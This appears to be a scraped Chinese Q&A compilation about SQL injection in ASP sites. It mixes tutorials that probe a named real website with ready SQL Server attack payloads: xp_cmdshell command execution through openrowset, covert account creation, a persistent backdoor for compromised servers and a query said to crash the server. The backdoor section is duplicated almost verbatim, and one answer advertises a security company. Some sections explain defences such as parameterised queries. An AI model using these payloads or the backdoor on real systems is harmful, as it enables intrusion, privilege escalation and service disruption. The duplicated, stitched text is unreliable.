aspsql盲注
Ⅰ sql注入漏洞檢測對於字元串型的判斷方法
你說的這兩種是一樣的，就看第一種就行。我給你逐步解釋一下
第一步在url後面添加了『後sql語句可以正常運行說明asp代碼沒有設置屏蔽』的機制；
第二步在url最後添加了'and'1'='1後select語句就編程了
select * from 表名 where 欄位='YY'and'1'='1'
如果這樣也能正常運行則證明asp代碼沒有屏蔽條件插入的機制；
第二步和第一步其實沒有本質的區別，只是進一步確認；
第三部url後面追加的編程了1=2，同第二部一個原理，只不過這次測試的是asp代碼沒有屏蔽掉資料庫報錯信息，而黑客可以通過這些信息得到很多系統信息以方便下一步的動作。
綜上三步，當然可以知道這里可以作為入住點。LZ應該能明白了吧
Ⅱ 如何讓appscan檢測不出sql盲注
選中AppScan掃描到有sql盲注的URL，點開URL左側的加號，選中URL中傳遞的參數，在AppScan下方的 請求響應頁 如圖
該頁面有請求時發送的參數，可以在AppScan中手動驗證，也可以把參數復制出來自己在瀏覽器中驗證
Ⅲ 注意那些容易被忽略的MSSQL注入技巧
下面我要談到一些Sqlserver新的Bug，雖然本人經過長時間的努力，當然也有點幸運的成分在內，才得以發現，不敢一個人獨享，拿出來請大家鑒別。
1．關於Openrowset和Opendatasource
可宏碰裂能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用法是（包括MSDN的列子）如下：
select * from openrowset('sqloledb','myserver''sa''','select * from table')
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程資料庫訪問，它必須跟在select後面，也就是說需要返回一個recordset 。
那麼我們能不能利用它調用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server''sa''','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell返回的output集合就會提交給前面的select顯示，如果採用默認設置，會返回空集合導致select出錯，命令也就無法蔽閉執行了。
那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作：
select * from openrowset('sqloledb','server''sa''','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
這樣，命令至少會返回select OK!'的集合，你的機器商會顯示OK!，同時對方的資料庫內也會增加一個Hectic的賬號，也就是說，我們利用select 'OK!'的返回集合欺騙了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至於這個方法真正的用處，大家慢慢想吧。
2．關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程資料庫，當然這個api必須是sqlserver的管理員才可以調用，那麼如下：
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當table1和table2的欄位數目不相同時，你會發現對方的sqlserver崩潰了，連本地連接都會失敗，而系統資源佔用一切正常，用 pskill殺死 sqlserver進程後，如果不重啟機器，sqlserver要麼無法正常啟動，要麼時常出現非法操作，我也只是碰巧找到這個bug的，具體原因我還沒有摸透，而且很奇怪的是這個吵做現象只出現在msdasql上，sqloledb就沒有這個問題，看來問題不是在於請求集合數目和返回集合數目不匹配上，應該還是msdasql本身的問題，具體原因，大家一起慢慢研究吧。
3．可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過添加triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令：
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserver不重啟，這個映射會一直存在下去，至少我現在還不知道如何發現別人放置的連接映射，好了，以上的命令運行過後，你會發現哪怕是sqlserver沒有任何許可權的guest用戶，運行以上這條命令也一樣能通過！而且許可權是 localsystem！（默認安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員許可權的sqlserver上留下一個後門了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過！
另外還有一個猜測，不知道大家有沒有注意過windows默認附帶的兩個dsn，一個是localserver一個是msqi，這兩個在建立的時候是本地管理員賬號連接sqlserver的，如果對方的 sqlserver是通過自定義的power user啟動，那麼sa的許可權就和power user一樣，很難有所大作為，但是我們通過如下的命令：
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:''')
應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的許可權執行本地命令了，這是後我想應該能突破sa 那個power user許可權了。現在的問題是sqloledb無法調用dsn連接，而msdasql非管理員不讓調用，所以我現在正在尋找guest調用msdasql 的方法。
如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發放如果能成功被guest利用，將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行。
下面我要談到一些Sqlserver新的Bug，雖然本人經過長時間的努力，當然也有點幸運的成分在內，才得以發現，不敢一個人獨享，拿出來請大家鑒別。 1．關於Openrowset和Opendatasource 可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用法是（包括MSDN的列子）如下...
下面我要談到一些Sqlserver新的Bug，雖然本人經過長時間的努力，當然也有點幸運的成分在內，才得以發現，不敢一個人獨享，拿出來請大家鑒別。
1．關於Openrowset和Opendatasource
可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用法是（包括MSDN的列子）如下：
select * from openrowset('sqloledb','myserver''sa''','select * from table')
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程資料庫訪問，它必須跟在select後面，也就是說需要返回一個recordset 。
那麼我們能不能利用它調用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server''sa''','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell返回的output集合就會提交給前面的select顯示，如果採用默認設置，會返回空集合導致select出錯，命令也就無法執行了。
那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作：
select * from openrowset('sqloledb','server''sa''','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
這樣，命令至少會返回select OK!'的集合，你的機器商會顯示OK!，同時對方的資料庫內也會增加一個Hectic的賬號，也就是說，我們利用select 'OK!'的返回集合欺騙了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至於這個方法真正的用處，大家慢慢想吧。
2．關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程資料庫，當然這個api必須是sqlserver的管理員才可以調用，那麼如下：
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當table1和table2的欄位數目不相同時，你會發現對方的sqlserver崩潰了，連本地連接都會失敗，而系統資源佔用一切正常，用 pskill殺死 sqlserver進程後，如果不重啟機器，sqlserver要麼無法正常啟動，要麼時常出現非法操作，我也只是碰巧找到這個bug的，具體原因我還沒有摸透，而且很奇怪的是這個現象只出現在msdasql上，sqloledb就沒有這個問題，看來問題不是在於請求集合數目和返回集合數目不匹配上，應該還是msdasql本身的問題，具體原因，大家一起慢慢研究吧。
3．可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過添加triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令：
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserver不重啟，這個映射會一直存在下去，至少我現在還不知道如何發現別人放置的連接映射，好了，以上的命令運行過後，你會發現哪怕是sqlserver沒有任何許可權的guest用戶，運行以上這條命令也一樣能通過！而且許可權是 localsystem！（默認安裝）呵呵！這個方法可以用來在以被入侵過獲得管理員許可權的sqlserver上留下一個後門了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過！
另外還有一個猜測，不知道大家有沒有注意過windows默認附帶的兩個dsn，一個是localserver一個是msqi，這兩個在建立的時候是本地管理員賬號連接sqlserver的，如果對方的 sqlserver是通過自定義的power user啟動，那麼sa的許可權就和power user一樣，很難有所大作為，但是我們通過如下的命令：
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:''')
應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的許可權執行本地命令了，這是後我想應該能突破sa 那個power user許可權了。現在的問題是sqloledb無法調用dsn連接，而msdasql非管理員不讓調用，所以我現在正在尋找guest調用msdasql 的方法。
如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發放如果能成功被guest利用，將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行。
Ⅳ 360提示SQL注入盲注，請看文件，哪裡錯誤了呢
是在這個語句上:
Rs.source = "select * from Company where ID="&ID&""
在這個語句中，直接將瀏覽器端傳回的字串作為ID值了。如果瀏覽器返回的ID字串為1 OR 1 = 1，那麼查詢的select語句就變成了select * from Compay where ID = 1 OR 1 = 1，該查詢的條件就永遠為TRUE了。這里就存在SQL注入風險。
Ⅳ 什麼是SQL注入
引 言
隨著B/S模式應用開發的發展，使用這種模式編寫應用程序的程序員也越來越多。但是由於這個行業的入門門檻不高，程序員的水平及經驗也參差不齊，相當大一部分程序員在編寫代碼的時候，沒有對用戶輸入數據的合法性進行判斷，使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼，根據程序返回的結果，獲得某些他想得知的數據，這就是所謂的SQL Injection，即SQL注入。
SQL注入是從正常的WWW埠訪問，而且表面看起來跟一般的Web頁面訪問沒什麼區別，所以目前市面的防火牆都不會對SQL注入發出警報，如果管理員沒查看IIS日誌的習慣，可能被入侵很長時間都不會發覺。
但是，SQL注入的手法相當靈活，在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析，構造巧妙的SQL語句，從而成功獲取想要的數據，是高手與「菜鳥」的根本區別。
根據國情，國內的網站用ASP+Access或SQLServer的佔70%以上，PHP+MySQ佔L20%，其他的不足10%。在本文，我們從分入門、進階至高級講解一下ASP注入的方法及技巧，PHP注入的文章由NB聯盟的另一位朋友zwell撰寫，希望對安全工作者和程序員都有用處。了解ASP注入的朋友也請不要跳過入門篇，因為部分人對注入的基本判斷方法還存在誤區。大家准備好了嗎？Let's Go...
入 門 篇
如果你以前沒試過SQL注入的話，那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則，不論伺服器返回什麼錯誤，IE都只顯示為HTTP 500伺服器錯誤，不能獲得更多的提示信息。
第一節、SQL注入原理
以下我們從一個網站www.19cn.com開始（註：本文發表前已徵得該站站長同意，大部分都是真實數據）。
在網站首頁上，有名為「IE不能打開新窗口的多種解決方法」的鏈接，地址為：http://www.19cn.com/showdetail.asp?id=49，我們在這個地址後面加上單引號』，伺服器會返回下面的錯誤提示：
Microsoft JET Database Engine 錯誤 '80040e14'
字元串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp，行8
從這個錯誤提示我們能看出下面幾點：
1.網站使用的是Access資料庫，通過JET引擎連接資料庫，而不是通過ODBC。
2.程序沒有判斷客戶端提交的數據是否符合程序要求。
3.該SQL語句所查詢的表中有一名為ID的欄位。
從上面的例子我們可以知道，SQL注入的原理，就是從客戶端提交特殊的代碼，從而收集程序及伺服器的信息，從而獲取你想到得到的資料。
第二節、判斷能否進行SQL注入
看完第一節，有一些人會覺得：我也是經常這樣測試能否注入的，這不是很簡單嗎？
其實，這並不是最好的方法，為什麼呢？
首先，不一定每台伺服器的IIS都返回具體錯誤提示給客戶端，如果程序中加了cint(參數)之類語句的話，SQL注入是不會成功的，但伺服器同樣會報錯，具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。
其次，部分對SQL注入有一點了解的程序員，認為只要把單引號過濾掉就安全了，這種情況不為少數，如果你用單引號測試，是測不到注入點的
那麼，什麼樣的測試方法才是比較准確呢？答案如下：
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2
這就是經典的1=1、1=2測試法了，怎麼判斷呢？看看上面三個網址返回的結果就知道了：
可以注入的表現：
① 正常顯示（這是必然的，不然就是程序有錯誤了）
② 正常顯示，內容基本與①相同
③ 提示BOF或EOF（程序沒做任何判斷時）、或提示找不到記錄（判斷了rs.eof時）、或顯示內容為空（程序加了on error resume next）
不可以注入就比較容易判斷了，①同樣正常顯示，②和③一般都會有程序定義的錯誤提示，或提示類型轉換時出錯。
當然，這只是傳入參數是數字型的時候用的判斷方法，實際應用的時候會有字元型和搜索型參數，我將在中級篇的「SQL注入一般步驟」再做分析。
第三節、判斷資料庫類型及注入方法
不同的資料庫的函數、注入方法都是有差異的，所以在注入之前，我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer，網上超過99%的網站都是其中之一。
怎麼讓程序告訴你它使用的什麼資料庫呢？來看看：
SQLServer有一些系統變數，如果伺服器IIS提示沒關閉，並且SQLServer返回錯誤提示的話，那可以直接從出錯信息獲取，方法如下：
http://www.19cn.com/showdetail.asp?id=49 and user>0
這句語句很簡單，但卻包含了SQLServer特有注入方法的精髓，我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義：首先，前面的語句是正常的，重點在and user>0，我們知道，user是SQLServer的一個內置變數，它的值是當前連接的用戶名，類型為nvarchar。拿一個nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarchar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤，呵呵，abc正是變數user的值，這樣，不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里，大家會看到很多用這種方法的語句。
順便說幾句，眾所周知，SQLServer的用戶sa是個等同Adminstrators許可權的角色，拿到了sa許可權，幾乎肯定可以拿到主機的Administrator了。上面的方法可以很方便的測試出是否是用sa登錄，要注意的是：如果是sa登錄，提示是將」dbo」轉換成int的列發生錯誤，而不是」sa」。
如果伺服器IIS不允許返回錯誤提示，那怎麼判斷資料庫類型呢？我們可以從Access和SQLServer和區別入手，Access和SQLServer都有自己的系統表，比如存放資料庫中所有對象的表，Access是在系統表[msysobjects]中，但在Web環境下讀該表會提示「沒有許可權」，SQLServer是在表[sysobjects]中，在Web環境下可正常讀取。
在確認可以注入的情況下，使用下面的語句：
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
如果資料庫是SQLServer，那麼第一個網址的頁面與原頁面http://www.19cn.com/showdetail.asp?id=49是大致相同的；而第二個網址，由於找不到表msysobjects，會提示出錯，就算程序有容錯處理，頁面也與原頁面完全不同。
如果資料庫用的是Access，那麼情況就有所不同，第一個網址的頁面與原頁面完全不同；第二個網址，則視乎資料庫設置是否允許讀該系統表，一般來說是不允許的，所以與原網址也是完全不同。大多數情況下，用第一個網址就可以得知系統所用的資料庫類型，第二個網址只作為開啟IIS錯誤提示時的驗證
Ⅵ asp注入sql，使用的是什麼原理
一般在開發程序的時候會使用到SQL語句對資料庫進行連接或操作,大多都是拼串
比如一個登陸界面要輸入帳號密碼後台要用sql語句是select * from user where name='''+ name +"' and password='"+ password +"'"
在 name=' 的後面加上 ' or 1=1
select * form user where name=' ' or 1=1 ' and password='' 使'and password='' 使查詢條件為真，密碼審核變成了注釋，同時這條御州歲語句也沒有要輸入用戶鎮睜名密碼的功能了，別人就可以繞過進入系統，你可以通過參數傳值來避免注入，當然這只是一個跡畝簡單的注入方法
Ⅶ 什麼是sql盲注
SQL盲註：用SQL查詢語句去猜解表名、欄位、數據。
拿個簡單的查詢來說
select * from table where 條件='' or 1=1 --'
也就是在你的查詢參數中加入：' or 1=1 --
其他改、刪類似，注入的方式有很多種，以上只是最基本的一種。
Ⅷ SQL盲注的簡單語句怎麼寫
拿個簡單的查詢來說
select * from table where 條件='' or 1=1 --'
也就是在你的查詢參數中加入：' or 1=1 --
其他改、刪類似，注入的方式有很多種，以上只是最基本的一種
Ⅸ 網站檢測後顯示SQL注入漏洞（盲注），請高手提供解決辦法，謝謝
找專業做網站安全的公司來給你解決，國內最有名的安全公司也就綠盟和sinesafe！
建站一段時間後總能聽得到什麼什麼網站被掛馬，什麼網站被黑，被攻擊。好像入侵掛馬似乎是件很簡單的事情。其實，入侵不簡單，簡單的是你的網站的必要安全措施並未做好。
有條件建議找專業做網站安全的sine安全來做安全維護。
一：掛馬預防措施：
1、建議用戶通過ftp來上傳、維護網頁，盡量不安裝asp的上傳程序。
2、定期對網站進行安全的檢測，具體可以利用網上一些工具，如sinesafe網站掛馬檢測工具！
序，只要可以上傳文件的asp都要進行身份認證!
3、asp程序管理員的用戶名和密碼要有一定復雜性，不能過於簡單，還要注意定期更換。
4、到正規網站下載asp程序，下載後要對其資料庫名稱和存放路徑進行修改，資料庫文件名稱也要有一定復雜性。
5、要盡量保持程序是最新版本。
6、不要在網頁上加註後台管理程序登陸頁面的鏈接。
7、為防止程序有未知漏洞，可以在維護後刪除後台管理程序的登陸頁面，下次維護時再通過ftp上傳即可。
8、要時常備份資料庫等重要文件。
9、日常要多維護，並注意空間中是否有來歷不明的asp文件。記住：一分汗水，換一分安全!
10、一旦發現被入侵，除非自己能識別出所有木馬文件，否則要刪除所有文件。
11、對asp上傳程序的調用一定要進行身份認證，並只允許信任的人使用上傳程序。這其中包括各種新聞發布、商城及論壇程
二：掛馬恢復措施：
1.修改帳號密碼
不管是商業或不是，初始密碼多半都是admin。因此你接到網站程序第一件事情就是「修改帳號密碼」。帳號
密碼就不要在使用以前你習慣的，換點特別的。盡量將字母數字及符號一起。此外密碼最好超過15位。尚若你使用
SQL的話應該使用特別點的帳號密碼，不要在使用什麼什麼admin之類，否則很容易被入侵。
2.創建一個robots.txt
Robots能夠有效的防範利用搜索引擎竊取信息的駭客。
3.修改後台文件
第一步：修改後台里的驗證文件的名稱。
第二步：修改conn.asp，防止非法下載，也可對資料庫加密後在修改conn.asp。
第三步：修改ACESS資料庫名稱，越復雜越好，可以的話將數據所在目錄的換一下。
4.限制登陸後台IP
此方法是最有效的，每位虛擬主機用戶應該都有個功能。你的IP不固定的話就麻煩點每次改一下咯，安全第一嘛。
5.自定義404頁面及自定義傳送ASP錯誤信息
404能夠讓駭客批量查找你的後台一些重要文件及檢查網頁是否存在注入漏洞。
ASP錯誤嘛，可能會向不明來意者傳送對方想要的信息。
6.慎重選擇網站程序
注意一下網站程序是否本身存在漏洞，好壞你我心裡該有把秤。
7.謹慎上傳漏洞
據悉，上傳漏洞往往是最簡單也是最嚴重的，能夠讓黑客或駭客們輕松控制你的網站。
可以禁止上傳或著限制上傳的文件類型。不懂的話可以找專業做網站安全的sinesafe公司。
8. cookie 保護
登陸時盡量不要去訪問其他站點，以防止 cookie 泄密。切記退出時要點退出在關閉所有瀏覽器。
9.目錄許可權
請管理員設置好一些重要的目錄許可權，防止非正常的訪問。如不要給上傳目錄執行腳本許可權及不要給非上傳目錄給於寫入權。
10.自我測試
如今在網上黑客工具一籮筐，不防找一些來測試下你的網站是否OK。
11.例行維護
a.定期備份數據。最好每日備份一次，下載了備份文件後應該及時刪除主機上的備份文件。
b.定期更改資料庫的名字及管理員帳密。
c.借WEB或FTP管理，查看所有目錄體積，最後修改時間以及文件數，檢查是文件是否有異常，以及查看是否有異常的賬號。
網站被掛馬一般都是網站程序存在漏洞或者伺服器安全性能不達標被不法黑客入侵攻擊而掛馬的。
網站被掛馬是普遍存在現象然而也是每一個網站運營者的心腹之患。
您是否因為網站和伺服器天天被入侵掛馬等問題也曾有過想放棄的想法呢，您否也因為不太了解網站技術的問題而耽誤了網站的運營，您是否也因為精心運營的網站反反復復被一些無聊的黑客入侵掛馬感到徬彷且很無耐。有條件建議找專業做網站安全的sine安全來做安全維護。
Ⅹ SQL注入攻擊的種類和防範手段有哪些
暈，這不是C#考題嗎。
SQL注入攻擊的種類
知彼知己，方可取勝。首先要清楚SQL注入攻擊有哪些種類。
1.沒有正確過濾轉義字元
在用戶的輸入沒有為轉義字元過濾時，就會發生這種形式的注入式攻擊，它會被傳遞給一個SQL語句。這樣就會導致應用程序的終端用戶對資料庫上的語句實施操縱。比方說，下面的這行代碼就會演示這種漏洞：
statement := "SELECT * FROM users WHERE name = '" + userName + "'; "
這種代碼的設計目的是將一個特定的用戶從其用戶表中取出，但是，如果用戶名被一個惡意的用戶用一種特定的方式偽造，這個語句所執行的操作可能就不僅僅是代碼的作者所期望的那樣了。例如，將用戶名變數(即username)設置為：
a' or 't'='t，此時原始語句發生了變化：
SELECT * FROM users WHERE name = 'a' OR 't'='t';
如果這種代碼被用於一個認證過程，那麼這個例子就能夠強迫選擇一個合法的用戶名，因為賦值't'='t永遠是正確的。
在一些SQL伺服器上，如在SQLServer中，任何一個SQL命令都可以通過這種方法被注入，包括執行多個語句。下面語句中的username的值將會導致刪除「users」表，又可以從「data」表中選擇所有的數據(實際上就是透露了每一個用戶的信息)。
a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
這就將最終的SQL語句變成下面這個樣子：
SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';
其它的SQL執行不會將執行同樣查詢中的多個命令作為一項安全措施。這會防止攻擊者注入完全獨立的查詢，不過卻不會阻止攻擊者修改查詢。
2.Incorrect type handling
如果一個用戶提供的欄位並非一個強類型，或者沒有實施類型強制，就會發生這種形式的攻擊。當在一個SQL語句中使用一個數字欄位時，如果程序員沒有檢查用戶輸入的合法性(是否為數字型)就會發生這種攻擊。例如：
statement := "SELECT * FROM data WHERE id = " + a_variable + "; "
從這個語句可以看出，作者希望a_variable是一個與「id」欄位有關的數字。不過，如果終端用戶選擇一個字元串，就繞過了對轉義字元的需要。例 如，將a_variable設置為:1; DROP TABLE users，它會將「users」表從資料庫中刪除，SQL語句變成：SELECT * FROM DATA WHERE id = 1; DROP TABLE users;
3.資料庫伺服器中的漏洞
有時，資料庫伺服器軟體中也存在著漏洞，如MYSQL伺服器中mysql_real_escape_string()函數漏洞。這種漏洞允許一個攻擊者根據錯誤的統一字元編碼執行一次成功的SQL注入式攻擊。
4.盲目SQL注入式攻擊
當一個Web應用程序易於遭受攻擊而其結果對攻擊者卻不見時，就會發生所謂的盲目SQL注入式攻擊。有漏洞的網頁可能並不會顯示數據，而是根據注入到合法 語句中的邏輯語句的結果顯示不同的內容。這種攻擊相當耗時，因為必須為每一個獲得的位元組而精心構造一個新的語句。但是一旦漏洞的位置和目標信息的位置被確 立以後，一種稱為Absinthe的工具就可以使這種攻擊自動化。
5.條件響應
注意，有一種SQL注入迫使資料庫在一個普通的應用程序屏幕上計算一個邏輯語句的值：
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1
這會導致一個標準的面面，而語句
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2在頁面易於受到SQL注入式攻擊時，它有可能給出一個不同的結果。如此這般的一次注入將會證明盲目的SQL注入是可能的，它會使攻擊者根據另外一個 表中的某欄位內容設計可以評判真偽的語句。
6.條件性差錯
如果WHERE語句為真，這種類型的盲目SQL注入會迫使資料庫評判一個引起錯誤的語句，從而導致一個SQL錯誤。例如：
SELECT 1/0 FROM users WHERE username='Ralph'。顯然，如果用戶Ralph存在的話，被零除將導致錯誤。
7.時間延誤
時間延誤是一種盲目的SQL注入，根據所注入的邏輯，它可以導致SQL引擎執行一個長隊列或者是一個時間延誤語句。攻擊者可以衡量頁面載入的時間，從而決定所注入的語句是否為真。
以上僅是對SQL攻擊的粗略分類。但從技術上講，如今的SQL注入攻擊者們在如何找出有漏洞的網站方面更加聰明，也更加全面了。出現了一些新型的SQL攻 擊手段。黑客們可以使用各種工具來加速漏洞的利用過程。我們不妨看看the Asprox Trojan這種木馬，它主要通過一個發布郵件的僵屍網路來傳播，其整個工作過程可以這樣描述：首先，通過受到控制的主機發送的垃圾郵件將此木馬安裝到電 腦上，然後，受到此木馬感染的電腦會下載一段二進制代碼，在其啟動時，它會使用搜索引擎搜索用微軟的ASP技術建立表單的、有漏洞的網站。搜索的結果就成 為SQL注入攻擊的靶子清單。接著，這個木馬會向這些站點發動SQL注入式攻擊，使有些網站受到控制、破壞。訪問這些受到控制和破壞的網站的用戶將會受到 欺騙，從另外一個站點下載一段惡意的JavaScript代碼。最後，這段代碼將用戶指引到第三個站點，這里有更多的惡意軟體，如竊取口令的木馬。
以前，我們經常警告或建議Web應用程序的程序員們對其代碼進行測試並打補丁，雖然SQL注入漏洞被發現和利用的機率並不太高。但近來攻擊者們越來越多地 發現並惡意地利用這些漏洞。因此，在部署其軟體之前，開發人員應當更加主動地測試其代碼，並在新的漏洞出現後立即對代碼打補丁。
防禦和檢查SQL注入的手段
1.使用參數化的過濾性語句
要防禦SQL注入，用戶的輸入就絕對不能直接被嵌入到SQL語句中。恰恰相反，用戶的輸入必須進行過濾，或者使用參數化的語句。參數化的語句使用參數而不 是將用戶輸入嵌入到語句中。在多數情況中，SQL語句就得以修正。然後，用戶輸入就被限於一個參數。下面是一個使用Java和JDBC API例子：
PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE PASSWORD=?");
prep.setString(1, pwd);
總體上講，有兩種方法可以保證應用程序不易受到SQL注入的攻擊，一是使用代碼復查，二是強迫使用參數化語句的。強迫使用參數化的語句意味著嵌入用戶輸入的SQL語句在運行時將被拒絕。不過，目前支持這種特性的並不多。如H2 資料庫引擎就支持。
2.還要避免使用解釋程序，因為這正是黑客們藉以執行非法命令的手段。
3.防範SQL注入，還要避免出現一些詳細的錯誤消息，因為黑客們可以利用這些消息。要使用一種標準的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、企業規則等。
4.使用專業的漏洞掃描工具。但防禦SQL注入攻擊也是不夠的。攻擊者們目前正在自動搜索攻擊目標並實施攻擊。其技術甚至可以輕易地被應用於其它的Web 架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具，如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個完善的漏洞掃描程序不同於網路掃描程 序，它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。
5.最後一點，企業要在Web應用程序開發過程的所有階段實施代碼的安全檢查。首先，要在部署Web應用之前實施安全測試，這種措施的意義比以前更大、更深遠。企業還應當在部署之後用漏洞掃描工具和站點監視工具對網站進行測試。
Web安全拉警報已經響起，安全形式異常嚴峻，企業絕對不應當草率從事。安全重於泰山!